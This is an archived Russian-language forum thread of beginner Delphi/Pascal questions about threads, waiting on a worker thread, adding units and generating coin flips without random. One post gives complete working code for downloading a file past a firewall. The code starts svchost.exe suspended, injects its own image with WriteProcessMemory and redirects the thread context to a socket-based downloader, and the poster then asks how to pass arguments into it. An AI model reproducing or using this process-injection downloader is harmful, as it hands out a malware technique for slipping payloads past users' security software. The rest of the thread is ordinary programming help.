[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. f0rward

    f0rward New Member

    Joined:
    26 Oct 2008
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    _Kris_, напиши процедуру пожалуйста, я не понял.
     
  2. art2222

    art2222 Elder - Старейшина

    Joined:
    28 Apr 2008
    Messages:
    118
    Likes Received:
    57
    Reputations:
    10
    //Напиши процедуру

    Вот:

    Code:
    procedure TForm1.sButton1Click(Sender: TObject);
    var
      NewThread: array [1..50] of TNewThread;
      i: Integer;
    begin
      sButton1.Enabled:=false;
      for i:=1 to 50 do
        NewThread[i]:=TNewThread.Create(true);
        NewThread[i].FreeOnTerminate:=true;
        NewThread[i].Priority:=tpLOWER;
        NewThread[i].Resume;
      end;
    end;
     
  3. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Такая проблема, не знаю можно ли такое реализовать.. Пусть в событии OnClick создаётся поток, который выполняется длительное время и обрабатывает данные. И надо остановить выполнение процедуры OnClick с места, где создаётся поток, и когда завершится выполнение потока продолжить выполнение процедуры OnClick с места остановки.
     
  4. RumShun

    RumShun Member

    Joined:
    27 Oct 2008
    Messages:
    283
    Likes Received:
    75
    Reputations:
    6
    cremator (c) попробуй так:
    в процедуре OnClick сразу за строчкой создания потока поставь бесконечный цикл, с условием по глобальной переменной, а в процедуре екзекут твоего потока в конце после выполнения всех вычислений присвой этой переменной значение, штото гдето так
    Code:
    var
     flag:boolean; //обязательно глобальная
    procedure ...OnClick...
    ...
    поток.create;
    flag:=false;
    while flag=false do
     if flag=true then break;
    ....
    
    procedure Thread.execute;
    ...
    твои вычисления
    ...
    flag:=true;
    end;
    [\code]
    что то гдето так, простите если убого выражаюсь, вообще вижу что криво но на ум что то больше ничего не приходит
     
  5. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    лучше так:
    Code:
    while not flag do application.ProcessMessages;
     
    1 person likes this.
  6. RumShun

    RumShun Member

    Joined:
    27 Oct 2008
    Messages:
    283
    Likes Received:
    75
    Reputations:
    6
    Markus_13 +1
    полностью согласен, чето я втупил :)
     
  7. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Мне это не надо. То что ты написал вызовет зависание формы на все время выполнения потока, чего я и хотел избежать. В таком случае если ничего больше не сделать в OnClick создаю еще один поток, который и будет ожидать события завершения своего потока который он создаст.
     
  8. RumShun

    RumShun Member

    Joined:
    27 Oct 2008
    Messages:
    283
    Likes Received:
    75
    Reputations:
    6
    да, но если принять поправку Markus_13, то не должно.
    так даже и лучше
     
  9. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    Вот тут нашол метод загрузки файла с обходом фаервола.
    Code:
    Function MyPos(Substr, Str: PChar): dword; stdcall;
    asm
    mov eax, Substr
    mov edx, str
    test eax, eax
    je @noWork
    test edx, edx
    je @stringEmpty
    push ebx
    push esi
    push edi
    mov esi, eax
    mov edi, edx
    push eax
    push edx
    call lstrlen
    mov ecx, eax
    pop eax
    push edi
    push eax
    push eax
    call lstrlen
    mov edx, eax
    pop eax
    dec edx
    js @fail
    mov al, [esi]
    inc esi
    sub ecx, edx
    jle @fail
    
    @loop:
    repne scasb
    jne @fail
    mov ebx, ecx
    push esi
    push edi
    mov ecx, edx
    repe cmpsb
    pop edi
    pop esi
    je @found
    mov ecx, ebx
    jmp @loop
    
    @fail:
    pop edx
    xor eax, eax
    jmp @exit
    
    @stringEmpty:
    xor eax, eax
    jmp @noWork
    
    @found:
    pop edx
    mov eax, edi
    sub eax, edx
    
    @exit:
    pop edi
    pop esi
    pop ebx
    
    @noWork:
    end;
    
    { Копирование строк } 
    Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
    asm
    mov eax, Count
    inc eax
    push eax
    push LPTR
    call LocalAlloc
    mov edi, eax
    mov ecx, Count
    mov esi, S
    add esi, Index
    dec esi
    rep movsb
    end;
    
    { Копирование участка памяти }
    procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
    asm
    push ecx
    push esi
    push edi
    mov esi, Source
    mov edi, Destination
    mov ecx, Length
    rep movsb
    pop edi
    pop esi
    pop ecx
    end;
    
    
    Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
    var
    Buffer: pointer;
    BufferLength: dword;
    BufferUsed: dword;
    Bytes: integer;
    Header: PChar;
    Site: PChar;
    URL: PChar;
    FSocket: integer;
    SockAddrIn: TSockAddrIn;
    HostEnt: PHostEnt;
    Str: PChar;
    WSAData: TWSAData;
    hHeap: dword;
    begin
    Result := nil;
    hHeap := GetProcessHeap();
    WSAStartup(257, WSAData);
    Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
    URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
    Buffer := HeapAlloc(hHeap, 0, 1024);
    try
    BufferLength := 1024;
    BufferUsed := 0;
    FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    SockAddrIn.sin_family := AF_INET;
    SockAddrIn.sin_port := htons(80);
    SockAddrIn.sin_addr.s_addr := inet_addr(Site);
    if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
    HostEnt := gethostbyname(Site);
    if HostEnt = nil then Exit;
    SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
    end;
    if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
    Str := HeapAlloc(hHeap, 0, 1024);
    lstrcpy(Str, 'GET ');
    lstrcat(Str, URL);
    lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
    lstrcat(Str, Site);
    lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
    send(FSocket, Str^, lstrlen(Str), 0);
    HeapFree(hHeap, 0, Str);
    repeat
    if BufferLength - BufferUsed < 1024 then
    begin
    Inc(BufferLength, 1024);
    Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
    end;
    Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
    if Bytes > 0 then Inc(BufferUsed, Bytes);
    until (Bytes = 0) or (Bytes = SOCKET_ERROR);
    Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
    ReturnSize := BufferUsed - lstrlen(header);
    Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if Result = nil then Exit;
    MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
    finally
    HeapFree(hHeap, 0, Buffer);
    end;
    end;
    
    { процедура выполняющаяся в контексте доверенного приложения }
    Procedure Download(); stdcall;
    const
    URL : PChar = 'google.ru/images/nav_logo3.png';
    var
    Buff: pointer;
    Size: dword;
    Bytes: dword;
    dFile: dword;
    begin
    LoadLibrary('wsock32.dll');
    Buff := DownloadFile(URL, Size);
    dFile := CreateFile('c:\134.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
    WriteFile(dFile, Buff^, Size, Bytes, nil);
    CloseHandle(dFile);
    ExitProcess(0);
    end;
    
    
    
    procedure PotokGetInetFile;
    var
    St: TStartupInfo;
    Pr: TProcessInformation;
    InjectSize: dword;
    Code: pointer;
    Injected: pointer;
    BytesWritten: dword;
    Context: _CONTEXT;
    
    begin
    ZeroMemory(@St, SizeOf(TStartupInfo));
    St.cb := SizeOf(TStartupInfo);
    St.wShowWindow := SW_SHOW;
    //запускаем процесс, которому разрешено лезть на 80 порт
    CreateProcess(nil, 'svchost.exe', nil, nil, false,
    CREATE_SUSPENDED, nil, nil, St, Pr);
    Code := pointer(GetModuleHandle(nil));
    InjectSize := PImageOptionalHeader(pointer(integer(Code) +
    PImageDosHeader(Code)._lfanew +
    SizeOf(dword) +
    SizeOf(TImageFileHeader))).SizeOfImage;
    //выделяем память в процессе
    Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //внедряем код
    WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
    //изменяем контекст нити
    Context.ContextFlags := CONTEXT_FULL;
    GetThreadContext(Pr.hThread, Context);
    Context.Eip := dword(@Download);
    SetThreadContext(Pr.hThread, Context);
    //запускаем процесс
    ResumeThread(Pr.hThread);
    
    
    end;
    
    как мне передать нужные мне переменные в функцию Download?
    такая попытка

    Code:
    ...
    Procedure Download(inetfile:string; savefile:string); stdcall;
    ......
    Context.Eip := dword(@Download('11','22'));
    ....
    
    выдаёт Variable required, глобальные переменные процедура Download тоже воспринимать не хочет, как быть?
     
  10. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    У тебя Procedure Download(); stdcall; не может принимать переменные. Только через глобальные, должно всё работать../
     
  11. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    во1ых с моим исправлением подвиса не будет; во2ых скорость зависит от мощности машины, кол-ва потоков и их приоритетов
    -------------------------
    во1ых весь код твоей проги это и так отдельный поток; во2ых тут проще сделать таймер который включался бы после старта потока и проверял бы эту самую переменную или дописать нужный код в тело потока перед завершением
     
  12. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Markus_13, во первых вопрос я разрешил дополнительными потоками и WaitForSingleObject. А во вторых, первоначально у меня была идея, чтобы оборвать выполнение процедуры OnClick основного потока, чтобы стек и переменные сохранились. А когда "грузовой" поток бы завершился, вызвать по адресу продолжение процедуры OnClick с места где она оборвалась. Но это гемор, поэтому так.
     
  13. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    интересно, а что за прога если не секрет, зачем такой нестандартный подход?)
     
  14. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    Может вопрос и простой, но не нашел ответа нигде в сети =\

    Имеется приложение на Delphi7+KOLnMCK в uses которого необходимо включить дополнительный модуль (в моем случае - WinInet). Обычное дописывание через запятую не помогает. Как добавить дополнительный модуль в приложение Delphi если оно использует KOLnMCK?
     
  15. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    просто он у тебя в путях где delphi библиотеки ищет не значится. кинь в папку libs модуль
     
  16. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    как можно сделать генерацию случ. чисел чтобы погрешность была +-10%, т.е. чтобы при эмулировании бросания монетки (генерация ранд. чисел от 0 до 1) - из 100 были 45-55 единицами (или нулями)
    вообщем суть неважна - но чтобы ф-ия выдавала тру или фолс)))
    З.Ы. естес-но без random сделать =\
    З.З.Ы. впринципе можно на асме - надеюсь перевести смогу на паскаль или вставку сделать)
     
    #3136 Markus_13, 16 Apr 2009
    Last edited: 16 Apr 2009
  17. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Что ты подразумеваешь под погрешностью +-10%? random() и так должен выдавать случайные числа с вероятностью равновыпадения разных чисел 50%. Ест-но чем больше испытаний тем ближе вероятностью равновыпадения к 50%. Теория вероятности..
     
  18. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    нужно 45-55 из 100, без использования ф-ии random - че непонятно?))
    чтобы можно было цикл в 100 генераций прогнать неск-ко тысяч раз и небыло меньше 45 и больше 55 вариантов одинаковых, я просто в математике слаб, а книжка по теории вероятностей уже полгода на столе валяется - больше 10 страниц неосилил))
     
  19. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Тогда тебе в модуль Math.
    http://www.delphimaster.ru/cgi-bin/faq.pl?look=1&id=988619976&n=19
     
  20. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    ну и? мне нужно построить алгоритм генерации именно без random, пихать в прогу код random`а тоже естес-но ненужно, а в модуле Math используется тот же random
    причем на один "бросок монетки" есть аж 1 миллисекунда Оо, ну и желательно попроще алгоритм и попонятней))
     
Thread Status:
Not open for further replies.